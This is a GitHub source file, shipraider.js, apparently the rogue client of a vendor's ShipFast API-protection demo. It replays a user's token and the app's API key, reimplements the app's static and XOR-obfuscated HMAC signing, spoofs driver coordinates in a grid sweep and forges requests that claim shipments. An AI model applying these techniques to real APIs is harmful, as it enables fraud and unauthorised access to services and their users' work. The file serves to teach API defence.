-
Notifications
You must be signed in to change notification settings - Fork 10
/
shipraider.js
327 lines (276 loc) · 10.5 KB
/
shipraider.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
/*****************************************************************************
* Project: ShipRaider API Protection (Server)
* File: shipraider.js
* Original: Created on 6 Oct 2017 by Simon Rigg
* Copyright(c) 2002 - 2017 by CriticalBlue Ltd.
*
* The rogue ShipFast 'ShipRaider' web server's JQuery logic script.
*****************************************************************************/
let shipments = {}
$("#send-bitcoin-button").click(function() {
alert("Pay me the money!")
})
let lock = new Auth0Lock(AUTH0_CLIENT_ID, AUTH0_DOMAIN, {
auth: {
redirectUrl: window.url,
responseType: "id_token",
params: {
prompt: 'select_account'
},
redirect: true
},
oidcConformant: false,
autoclose: true,
allowSignUp: false,
theme: {
logo: 'images/auth0lock.png'
}
})
lock.on("authenticated", function(authResult) {
$("#user-auth-token-input").val(authResult.idToken)
})
$("#login-button").click(function() {
lock.show()
})
$("#search-shipments-button").click(function(event) {
event.preventDefault()
searchForShipments()
})
$("#refresh-shipments-button").click(function(event) {
event.preventDefault()
searchForShipments()
})
const getShipfastApiUrl = function(endpoint) {
return $("#shipfast-api-url").val() + endpoint
}
const getShipFastAPIKey = function() {
return $("#shipfast-api-key-input").val()
}
const getUserAuthToken = function() {
const auth = $("#user-auth-token-input").val()
if (!auth) {
alert("Man, you need to login first!!!")
return undefined
}
return "Bearer " + auth
}
const getDriverLatitude = function() {
return $("#location-latitude-input").val()
}
const getDriverLongitude = function() {
return $("#location-longitude-input").val()
}
const showAlertOnError = function(error = "Unknown error in response!!!") {
alert("Man, it didn't work this time!\n\n" + error)
}
const showJsonResponseError = function(xhr) {
const json = xhr.responseJSON
if (json && json.error) {
showAlertOnError(json.error + "\n\nRequest Id: " + json.request_id)
return true
}
showAlertOnError()
return false
}
const searchForShipments = async function() {
updateProgressBar(0)
let shipments = []
let total_api_calls = 0
let total_shipments = 0
let progress = 0
let hasJsonError = false
let driver_latitude = getDriverLatitude()
let driver_longitude = getDriverLongitude()
let locationSweepRadius = $("#location-sweep-radius-input").val()
let locationSweepStep = $("#location-sweep-step-input").val()
let halfLBR = parseFloat(locationSweepRadius) / 2.0
let locStep = parseFloat(locationSweepStep)
let latStart = parseFloat(driver_latitude) - halfLBR
let latEnd = parseFloat(driver_latitude) + halfLBR
let lonStart = parseFloat(driver_longitude) - halfLBR
let lonEnd = parseFloat(driver_longitude) + halfLBR
let totalProgress = Math.pow(parseFloat(locationSweepRadius) / locStep, 2)
$("#results-table-body").empty()
let auth = getUserAuthToken()
if (auth == undefined) {
return
}
let url = getShipfastApiUrl("/shipments/nearest_shipment")
const fetchNearestShipment = async function(latVal, lonVal, url, auth, shipments) {
total_api_calls++
progress++
let progress_made = progress / totalProgress
let current_progress = Math.min(Math.round((progress_made) * 100), 100)
updateProgressBar(current_progress)
try {
await $.ajax({
url: url,
headers: {
"API-KEY" : getShipFastAPIKey(),
"Authorization" : auth,
"HMAC" : computeHMAC(url, auth),
"DRIVER-LATITUDE" : latVal.toString(),
"DRIVER-LONGITUDE" : lonVal.toString()
},
method: "GET",
timeout: 5000,
dataType: "json",
async: true,
success: function(json) {
hasJsonError = false
if (json.id) {
if (json.id in shipments) {
return
}
shipments[json.id] = json.id
total_shipments++
addShipmentToResults(json)
window.scrollBy(0, window.innerHeight)
}
},
error: function(xhr) {
// We can try up to 100 API calls and we don't want to show an
// alert popup error for each failed API call. The error that we
// are interested in only occurs in the first call, and its the
// error that informs that ShipFast app needs to be used prior
// to use ShipRaider.
if (total_api_calls > 1) {
hasJsonError = false
return
}
if (showJsonResponseError(xhr)) {
updateProgressBar(0)
hasJsonError = true
} else {
hasJsonError = false
}
}
})
} catch(error) {
// already handled in the Ajax error callback.
}
}
await fetchNearestShipment(parseFloat(driver_latitude), parseFloat(driver_longitude), url, auth, shipments)
if (hasJsonError) {
return
}
let lat = latStart
for (lat; lat <= latEnd; lat += locStep) {
for (let lon = lonStart; lon <= lonEnd; lon += locStep) {
if (total_shipments > 10 || total_api_calls > 100) {
totalProgress = 1
endFetchingNearestShipments()
return
}
await fetchNearestShipment(lat, lon, url, auth, shipments)
}
}
if ((lat += locStep) >= latEnd) {
totalProgress = 1
endFetchingNearestShipments()
return
}
}
const endFetchingNearestShipments = function() {
updateProgressBar(100)
if ($("#results-table-body").is(':empty')) {
showAlertOnError('Unable to find shipments... \n\nThe location coordinates must be as close as possible to the ones used by your mobile app.')
}
}
const updateProgressBar = function(progress) {
$(".progress-bar").attr("aria-valuenow", progress).attr("style", "width: " + progress + "%")
$("#progress-bar-text").text(progress + "% Completed")
}
const addShipmentToResults = function(json) {
let shipmentID = json["id"]
let shipmentName = json["description"]
let shipmentGratuity = json["gratuity"]
let shipmentPickup = json["pickupName"]
let shipmentPickupDistance = json["pickupDistance"]
let shipmentDelivery = json["deliveryName"]
let gratuityRowClass = "no-gratuity"
let gratuityValueClass = "no-gratuity"
let buttonClass = "btn-default"
if (shipmentGratuity.substr(1) > 0) {
gratuityRowClass = "gratuity-row"
gratuityValueClass = "with-gratuity"
buttonClass = "btn-" + BOOTSTRAP_COLOR_CLASS
}
if (shipmentGratuity.substr(1) > 5) {
gratuityValueClass = "good-gratuity"
}
let grabShipmentButton = "<button type='button' class='btn " + buttonClass + "' id='shipment-" + shipmentID + "'>Grab It!</button>"
$("#results-table-body").append(
"<tr id=shipment-row-" + shipmentID + " class=" + gratuityRowClass + ">"
+ "<td>" + shipmentID + "</td>"
+ "<td>" + shipmentName + "</td>"
+ "<td class=" + gratuityValueClass + ">" + shipmentGratuity + "</td>"
+ "<td>" + shipmentPickup + "</td>"
+ "<td>" + shipmentPickupDistance + "</td>"
+ "<td>" + shipmentDelivery + "</td>"
+ "<td>" + grabShipmentButton + "</td>"
+ "</tr>"
)
$("#shipment-" + shipmentID).click(function(event) {
event.preventDefault()
grabShipment(shipmentID)
})
}
const grabShipment = function(shipmentID) {
let url = getShipfastApiUrl("/shipments/update_state/" + shipmentID)
let auth = getUserAuthToken()
$.ajax({
url: url,
headers: {
"API-KEY" : getShipFastAPIKey(),
"Authorization" : auth,
"HMAC" : computeHMAC(url, auth),
"DRIVER-LATITUDE" : getDriverLatitude(),
"DRIVER-LONGITUDE" : getDriverLongitude(),
"SHIPMENT-STATE" : "1"
},
method: "POST",
timeout: 5000,
async: false,
success: function(json) {
updateProgressBar(100)
$("#shipment-row-" + shipmentID).addClass("alert alert-" + BOOTSTRAP_COLOR_CLASS)
$("#shipment-" + shipmentID).prop('disabled', true);
alert("You got shipment ID" + shipmentID + " - check the app and enjoy the extra cash!\n\n@crackmaapi - don't forget da bitcoin pls")
},
error: function(xhr) {
showJsonResponseError(xhr)
updateProgressBar(0)
}
})
}
const computeHMAC = function(url, idToken) {
if (CURRENT_DEMO_STAGE == DEMO_STAGE_HMAC_STATIC_SECRET_PROTECTION
|| CURRENT_DEMO_STAGE == DEMO_STAGE_HMAC_DYNAMIC_SECRET_PROTECTION) {
let hmacSecret
if (CURRENT_DEMO_STAGE == DEMO_STAGE_HMAC_STATIC_SECRET_PROTECTION) {
// Just use the static secret in the HMAC for this demo stage
hmacSecret = HMAC_SECRET
} else if (CURRENT_DEMO_STAGE == DEMO_STAGE_HMAC_DYNAMIC_SECRET_PROTECTION) {
// Obfuscate the static secret to produce a dynamic secret to
// use in the HMAC for this demo stage
let staticSecret = HMAC_SECRET
let dynamicSecret = CryptoJS.enc.Base64.parse(staticSecret)
let shipFastAPIKey = CryptoJS.enc.Utf8.parse($("#shipfast-api-key-input").val())
for (let i = 0; i < Math.min(dynamicSecret.words.length, shipFastAPIKey.words.length); i++) {
dynamicSecret.words[i] ^= shipFastAPIKey.words[i]
}
dynamicSecret = CryptoJS.enc.Base64.stringify(dynamicSecret)
hmacSecret = dynamicSecret
}
if (hmacSecret) {
let parser = document.createElement('a')
parser.href = url
let msg = parser.protocol.substring(0, parser.protocol.length - 1)
+ parser.hostname + parser.pathname + idToken
let hmac = CryptoJS.HmacSHA256(msg, CryptoJS.enc.Base64.parse(hmacSecret)).toString(CryptoJS.enc.Hex)
return hmac
}
}
return null
}